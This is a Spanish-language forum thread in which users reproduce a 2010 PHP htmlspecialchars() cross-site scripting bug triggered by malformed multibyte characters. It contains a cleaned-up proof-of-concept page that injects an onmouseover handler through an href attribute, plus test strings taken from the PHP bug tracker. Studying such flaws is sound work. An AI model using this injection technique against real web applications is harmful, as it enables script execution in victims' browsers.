PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS

Iniciado por AlbertoBSD, 16 Enero 2010, 03:25 AM

0 Miembros y 3 Visitantes están viendo este tema.

AlbertoBSD

A ver que alguien me explique xD que para el nivel web estoy bien n00b xD

Esto salio apenas hoy

http://www.securityfocus.com/bid/37389

Teóricamente tengo un PHP vulnerable a este ultimo y a muchos mas bugs xD

Código (bash) [Seleccionar]

# php -v
PHP 5.2.8 with Suhosin-Patch 0.9.6.3 (cli) (built: Dec 22 2008 20:08:26)
Copyright (c) 1997-2008 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2008 Zend Technologies


Pero he tratado de reproducir el error y no doy con nada, he seguido con los siguientes enlances

http://www.securityfocus.com/bid/37389/exploit
http://bugs.php.net/bug.php?id=49785

y la salida que obtengo es:



En realidad me falta mucho sobre el nivel web.

Saludos
Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW

WHK

#1
CitarA ver que alguien me explique xD que para el nivel web estoy bien n00b xD
Si todos nacieran sabiendo las cosas no existirían las escuelas o universidades.

El problema es que securityfocus es demasiado automatizado por lo tanto cuando alguien ingresa un código los escapan con caracteres especiales para que se puedan ver pero no se dan cuenta si alguien mas escapó los carácteres o no, en fin...

http://downloads.securityfocus.com/vulnerabilities/exploits/37389-2.php

Acá aparece una chorrera de código ilegible asi que lo primero que se ve es que son carácteres escapados como para visualizar en una página asi que seleccionamos todo y lo metemos en un solo archivo x.html y nos queda esto:

Código (php) [Seleccionar]
<? php $ _GET [ ' a1 ' ] = " \xf0 "; // \xf0 - \xfc で可能 $ _GET [ 'A1'] =
"\ xf0"; / / \ xf0 - \ xfc possible $ _GET [ ' a2 ' ] = " href=dummy onmouseover=
alert(document.title) dummy=dummy "; $ _GET [ 'A2'] = "href = dummy onmouseover
= alert (document.title) dummy = dummy"; header ( " Content-Type:text/html; charset
=Shift_JIS " ) ; header ( "Content-Type: text / html; charset = Shift_JIS"); ?> ? " < html >
<Html> < head >< title > Shift_JIS test </ title ></ head > <Head> <title> Shift_JIS test
</ title> </ head> < body > <Body> < p >< a <P> <a title = " <?php echo
 
htmlspecialchars ( $ _GET ' a1 ' ] , ENT_QUOTES' SJIS ' ?>
" title = "<? php echo
htmlspecialchars ($ _GET [ 'a1'], ENT_QUOTES, 'SJIS')?>" href = " <?php echo htmlspecialchars
 
( $ _GET ' a2 ' ] , ENT_QUOTES' SJIS ' ?>
" > test </ a ></ p > href = "<? php echo
htmlspecialchars ($ _GET [ 'a2'], ENT_QUOTES, 'SJIS')?>"> test </ a> </ p> </ body >
</ Body> </ html > </ Html>


Ahora, aun así es un desmadre porque hay espacios en blanco, no hay saltos de linea, no sabes donde termina un comentario, securityfocus repite los tags asi que bueno... lo limpié bastante y al final quedó así:

Código (php) [Seleccionar]
<?php
$_GET
['a1'] = "\xf0"// \xf0 - \xfc possible 
$_GET['a2'] = "href=dummy onmouseover=alert(document.title) dummy=dummy";
header("Content-Type:text/html; charset=Shift_JIS");
?>

<html>
<head>
<title>Shift_JIS test</title>
</head>
<body>
<p>
 <a
  title="<?php echo htmlspecialchars($_GET['a1'], ENT_QUOTES'SJIS'?>"
  href="<?php echo htmlspecialchars($_GET['a2'], ENT_QUOTES'SJIS'?>">
 test
</ a >
</p>
</body>
</html>


Ahora, en mi localhost al reproducir ese código y al pasar el mouse sobre el enlace aparece un alert mostrando el título, eso es código de ejecución por el lado del cliente porque se puede bypasear el htmlspecialchars, pero ¿SJIS?.

Todo indica que la vulnerabilidad está en el tipo de codificación SJIS ya que también se declara en el header, pero hagamos esto:

Código (php) [Seleccionar]
<?php
$_GET
['a1'] = "\xf0"// \xf0 - \xfc possible 
$_GET['a2'] = "href=dummy onmouseover=alert(document.title) dummy=dummy";
?>

<html>
<head>
<title>Shift_JIS test</title>
</head>
<body>
<p>
 <a
  title="<?php echo htmlspecialchars($_GET['a1'], ENT_QUOTES?>"
  href="<?php echo htmlspecialchars($_GET['a2'], ENT_QUOTES?>">
 test
</ a >
</p>
</body>
</html>


También se ejecuta sin la necesidad de ese tipo de codificación en especial imprimiendo "ð" al inicio de la variable, eso hace que se invalide el siguiente string que le si8gue, en este caso las comillas dobles que encerraban a title y ahora href=" pasa a cerrar title formando parte de el dejando paso a la ejecución que le des en href con la variable a2.

~ Yoya ~

Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

AlbertoBSD

Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW

~ Yoya ~

Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

AlbertoBSD

Hahaha, de hecho lo descubrió un japones o algo asi, pero uno de los PoC tenia para UTF-8

Saludos
Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW

~ Yoya ~

Me refiero que el juego de caracter Shift_JIS es japones.
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

AlbertoBSD

Si me refiero a eso, el bug fue asignado a un tal moriyoshi quien reprodujo la falla con ese sistema de caracteres y tambien con UTF-8
UTF-8
Shift_JIS
EUC-JP
http://bugs.php.net/bug.php?id=49785

Código (php) [Seleccionar]
// overlong UTF-8 sequence
echo htmlspecialchars("A\xC0\xAF&", ENT_QUOTES, 'UTF-8');
// invalid Shift_JIS sequence
echo htmlspecialchars("B\x80&", ENT_QUOTES, 'Shift_JIS');
echo htmlspecialchars("C\x81\x7f&", ENT_QUOTES, 'Shift_JIS');
// invalid EUC-JP sequence
echo htmlspecialchars("D\x80&", ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("E\xA1\xFF&", ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("F\x8E\xFF&", ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("G\x8F\xA1\xFF&", ENT_QUOTES, 'EUC-JP');


El code anterior fue el que yo probe, pero no sabia ni que onda, voy aprobar el otro y pues a realizar notes.

Saludos
Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW